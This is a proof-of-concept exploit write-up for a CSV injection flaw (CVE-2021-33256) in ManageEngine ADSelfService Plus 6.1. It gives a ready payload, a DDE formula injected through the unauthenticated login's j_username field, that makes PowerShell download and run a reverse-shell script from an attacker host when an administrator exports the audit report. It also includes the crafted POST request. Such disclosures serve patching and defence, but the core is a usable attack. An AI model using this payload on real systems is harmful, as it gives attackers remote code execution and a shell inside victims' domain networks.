ManageEngine ADSelfService Plus 6.1 CSV Injection (CVE-2021-33256)

Obtain reverse shell in the domain environment exploiting CSV injection vulnerability


There is a CSV injection vulnerability on the login panel of ManageEngine ADSelfService can be exploited by unauthenticated user. j_username parameter seems to vulnerable and reverse shell could be obtained if privileged user exports "User Attempts Audit Report" as CSV file.
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0

Proof Of Concept

1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the above payload.
j_username parameter:
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'
POST Request:
POST /j_security_check HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Connection: close
Cookie: *
Upgrade-Insecure-Requests: 1
And the request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
j_username parameter value is saved to "User Name" column which is start of line in the CSV file:
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('')'
2- Powershell command that sends reverse shell to attacker machine is embeded to last line of theInvoke-PowershellTcp.ps1 file.
3- If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection will be obtained by malicious user.
Exporting User Attempts Audit Report as CSV file
Confirmation for Starting Another Application
Exported CSV file
Getting Reverse Shell
# Author: Metin Yunus Kandemir